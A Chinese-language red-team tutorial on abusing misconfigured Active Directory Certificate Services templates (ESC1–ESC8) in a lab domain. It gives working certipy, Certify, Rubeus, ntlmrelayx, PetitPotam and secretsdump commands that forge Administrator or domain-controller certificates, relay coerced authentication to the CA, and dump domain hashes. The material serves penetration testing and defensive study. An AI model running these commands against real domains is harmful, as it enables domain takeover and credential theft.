Agha@深蓝实验室天雄战队
前言
2021年BlackHat发布了《Certified_Pre-Owned》白皮书,详细介绍了ADCS的滥用手法,同时在对大型企业的实战攻防中,ADCS在企业域中被广泛部署。本文针对ADCS的不安全模板配置,结合实战场景总结出在不同的错误模板下导致域权限提升的攻击手法。
测试环境
攻击机:10.128.20.123
ADCS服务器:10.211.55.20
域控:10.211.55.18
所有测试均可在域外进行攻击利用
错误模板
ESC1-基础
所需配置:
- 有权限去获取证书
- 能够登记为客户端身份验证或智能卡登录等
- CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT开启
证书模板控制台certtmpl.msc,复制工作站身份认证模板
修改模板名
扩展中-应用程序策略-加入客户端身份认证(对应配置条件二)
安全中加入Domain Users具有注册权限(对应配置条件一)
使用者名称中,选择在请求中提供(对应配置条件三)
最后在certsrv.msc证书模板中发布ESC1证书
漏洞发现
#ceripy查看所有模板
certipy find -u hack@lhc.local -p 123@Qwe -dc-ip 10.211.55.18 -vulnerable -debug
-vulnerable 查看该成员身份的易受攻击的证书模板
证书模板一共36个,颁发了14个
查看保存结果,hack用户满足易受攻击的ESC1模板条件。
注意Certificate Name Flag和EKU标识为ESC1模板特征。
漏洞利用
针对ESC1请求证书
#分别使用-upn和-dns参数指定任意的UPN或DNS
certipy req -u hack@lhc.local -p 123@Qwe -ca Lhc-CS2016-CA -target-ip 10.211.55.20 -template ESC1 -upn administrator@lhc.local -dns 2019-AD.lhc.local
身份验证,auth命令将询问您使用哪个身份进行身份验证
certipy auth -pfx administrator_2019-ad.pfx -dc-ip 10.211.55.18
UPN-administrator身份
DNS-2019-AD\$身份
ESC2-错误配置
所需配置:
- 其他配置与ESC1一样
- 只有扩展中设置有所不同证书模板定义了 Any Purpose 类型的 EKU,Any Purpose 指证书可以用于任何目的
漏洞发现
certipy find -u hack@lhc.local -p 123@Qwe -dc-ip 10.211.55.18 -vulnerable -debug
满足ESC2的易受攻击模板同样满足ESC3条件,后续利用可以采用ESC3模板攻击手法
注意Any Purpose为Ture为ESC2模板特征
漏洞利用
#以ESC2为模板申请证书
certipy req -u hack@lhc.local -p 123@Qwe -ca Lhc-CS2016-CA -target 10.211.55.20 -template ESC2
#使用hack证书代理申请Administrator证书,注意-on-behalf-of参数值必须是DOMAIN\USER的形式,而不是域的FQDN,即lhc而不是lhc.local
certipy req -u hack@lhc.local -p 123@Qwe -ca Lhc-CS2016-CA -target 10.211.55.20 -template User -on-behalf-of 'lhc\Administrator' -pfx hack.pfx
#身份认证
certipy auth -pfx administrator.pfx -dc-ip 10.211.55.18
ESC3-证书申请代理
配置1:
- 其他配置与ESC1一样
- 只有扩展中设置有所不同,证书模板定义了 证书申请代理的 EKU
配置2:
- 其他配置与ESC1一样
- 发布要求修改如下
漏洞发现
certipy find -u hack@lhc.local -p 123@Qwe -dc-ip 10.211.55.18 -vulnerable -debug
注意EKU参数为Certificate Request Agent为ESC3特征
漏洞利用
同ESC2
#以ESC3为模板申请证书
certipy req -u hack@lhc.local -p 123@Qwe -ca Lhc-CS2016-CA -target 10.211.55.20 -template ESC3
#使用hack证书代理申请Administrator证书,注意-on-behalf-of参数值必须是DOMAIN\USER的形式,而不是域的FQDN,即lhc而不是lhc.local
certipy req -u hack@lhc.local -p 123@Qwe -ca Lhc-CS2016-CA -target 10.211.55.20 -template User -on-behalf-of 'lhc\Administrator' -pfx hack.pfx
#身份认证
certipy auth -pfx administrator.pfx -dc-ip 10.211.55.18
配置二需要使用certify.exe
#查看所有已办法证书
Certify.exe find /ca:"CS2016.Lhc.local\Lhc-CS2016-CA" > 1.txt
#当前域用户申请以ESC3_2为模板的证书,格式为pem,需要转化为pfx
Certify.exe request /ca:"CS2016.Lhc.local\Lhc-CS2016-CA" /template:ESC3_2
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
#以当前域用户证书申请域管证书
Certify.exe request /ca:"CS2016.Lhc.local\Lhc-CS2016-CA" /template:ESC3_2 /onbehalfof:lhc\administrator /enrollcert:cert.pfx
#Rubeus.exe
Rubeus.exe asktgt /user:lhc\administrator /certificate:cert.pfx
#票据转化
转化Rubeus的base64(kirbi)为ccache,导入票据再利用
ESC4-写入权限
ESC4是指用户对证书模板具有写入权限。可以滥用来覆盖证书模板的配置,以使该模板容易受到ESC1的攻击。
Authenticated Users-ESC4
Authenticated Users组中包含Windows系统中所有使用用户名、密码登录并通过身份验证的账户,不包括来宾账户Guest,即使来宾帐户有密码。 与Everyone的区别在于Everyone包括所有账户,如内置的来宾账户和LOCAL_SERVICE
配置1:
工作站身份认证模板
- 只修改一处安全组默认完全控制,拥有写入权限
可以看到Authenticated Users拥有写入权限
Authenticated Users-ESC4_1
域用户拥有写入权限
- 只修改一处安全组默认完全控制,拥有写入权限
可以看到Domain Users拥有写入权限
利用
#保留旧ESC4模板配置并修改ESC4模板
certipy template -u hack@lhc.local -p 123@Qwe -template ESC4_1 -save-old
#利用新ESC4证书模板申请证书
certipy req -u hack@lhc.local -p 123@Qwe -ca Lhc-CS2016-CA -target-ip 10.211.55.20 -template ESC4_1 -upn administrator@lhc.local
#身份验证
certipy auth -pfx administrator.pfx -dc-ip 10.211.55.18
#模板复原
certipy template -u hack@lhc.local -p 123@Qwe -template ESC4 -configuration ESC4.json
更新后的ESC4新模板
ESC4
ESC4_1
ESC6-SAN
配置:
EDITF_ATTRIBUTESUBJECTALTNAME2 的滥用来启用 SAN (主题备用名),从而允许用户在申请证书时说明自己身份
满足条件:
- 企业 CA 授予低权限用户请求权限(默认);
- 模板中 CA 管理员审批未启用(默认);
- 模板中不需要授权的签名(默认);
- CA+EDITF_ATTRIBUTESUBJECTALTNAME2(以下为开启命令)
#开启EDITF_ATTRIBUTESUBJECTALTNAME2 certutil -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2 #重启certsvc服务 net stop certsvc net start certsvc
攻击利用
攻击方式与ESc1相同,不同之处在于您可以选择任何允许客户端身份验证的证书模板(比如默认颁发的User模板)#请求以hack用户为身份的User模板证书 certipy req -u hack@lhc.local -p 123@Qwe -ca Lhc-CS2016-CA -target 10.211.55.20 -template User -upn administrator@lhc.local #身份验证 certipy auth -pfx administrator.pfx -dc-ip 10.211.55.18
在2022年5月的安全更新之后,新证书将有一个安全扩展,其中嵌入了请求者的objectSid属性。对于ESc1,此属性将从指定的SAN中反映,但对于ESC6,此属性将反映请求者的对象SID,而不是从SAN。
关闭EDITF_ATTRIBUTESUBJECTALTNAME2命令certutil –setreg policy\EditFlags –EDITF_ATTRIBUTESUBJECTALTNAME2
ESC7-ManageCa
配置条件:
当用户或者所属组拥有管理CA权限
域普通用户所属组一般包括Domain Users、Authenticated Users
Authenticated Users
Domain Users
ESC7漏洞发现
certipy find -u hack@lhc.local -p 123@Qwe -dc-ip 10.211.55.18 -vulnerable
发现hack用户具有管理CA权限
- 因为hack用户具有管理CA权限,可以通过hack用户添加管理证书权限
certipy ca -u hack@lhc.local -p 123@Qwe -ca Lhc-CS2016-CA -dc-ip 10.211.55.18 -target 10.211.55.20 -add-officer hack
启动SubCA证书模板,这个是默认颁发的
2.查看颁发证书
certipy ca -u hack@lhc.local -p 123@Qwe -ca Lhc-CS2016-CA -dc-ip 10.211.55.18 -target 10.211.55.20 -list-templates
如果SubCA模板没有启动,可以用以下命令:
certipy ca -ca Lhc-CS2016-CA -enable-template SubCA -u hack@lhc.local -p 123@Qwe -target 10.211.55.20
3.请求基于SubCA模板的证书,此请求将被拒绝,但我们将保存私钥并记下请求ID,主要是记录ID
certipy req -u hack@lhc.local -p 123@Qwe -ca Lhc-CS2016-CA -target 10.211.55.20 -template SubCA -upn administrator@lhc.local
4.通过管理CA和管理证书,我们可以使用ca命令和-Issue-Request发出失败的证书请求。
certipy ca -u hack@lhc.local -p 123@Qwe -ca Lhc-CS2016-CA -target 10.211.55.20 -issue-request 86
成功颁发证书
5.使用REQ命令和-Retrive检索已颁发的证书并认证
#检索已颁发的证书
certipy req -u hack@lhc.local -p 123@Qwe -ca Lhc-CS2016-CA -target 10.211.55.20 -retrieve 86
#身份认证
certipy auth -pfx administrator.pfx -dc-ip 10.211.55.18
ESC8-Relay
利用过程
ADCS认证
http://10.211.55.20/certsrv/certfnsh.asp
攻击者将用户/机器身份验证中继到 AD CS 服务器并获取用户/机器证书
查看CA机器
certutil -config - -ping
命令行显示
certutil -dump -v
ntlmrelayx.py将CA设置为中继目标
python3 ntlmrelayx.py -t http://10.211.55.20/certsrv/certfnsh.asp -smb2support --adcs --template 'Domain Controller'
强制认证
结合场景,这里还可以使用printerbug、SpoolSample、DFSCoerce等进行强制认证
#PetitPotam(不需要账号密码)
python PetitPotam.py -u '' -d '' -p '' 10.128.20.123(攻击机中转,回连地址) 10.211.55.18(目标机器)
获取到证书
[*] Base64 certificate of user 2019-AD$
注入票据
#Rubeus.exe
Rubeus.exe asktgt /user:HC$ /certificate:certificatebase64body /ptt
#gettgtpkinit.py
python3 gettgtpkinit.py Lhc.local/2019-AD$ -pfx-base64 -pfx-base64 MIIR...(获取的证书) kirbi.ccache
#导入票据
export KRB5CCNAME=kirbi.ccache
dumphash
python3 secretsdump.py -k -no-pass 2019-AD.lhc.local
Window环境
考虑实战环境,在没有Linux机器以及Python环境下的利用,存在一台Windows机器与域控、ADCS服务器网络连通即可
将Python环境打包,参考:https://www.jianshu.com/p/e2402fb35553
#转发445,需要管理员权限
divertTCPConn.exe 445 4455 debug
#监听
python.exe ntlmrelayx.py -t http://10.211.55.20/certsrv/certfnsh.asp -smb2support --smb-port 4455 --adcs --template DomainController
2008
2012
2016
2019
win10
参考连接
https://tttang.com/archive/1593/
https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf
https://github.com/ly4k/Certipy
https://github.com/Arno0x/DivertTCPconn
https://blog.csdn.net/qq_36119192/article/details/119457576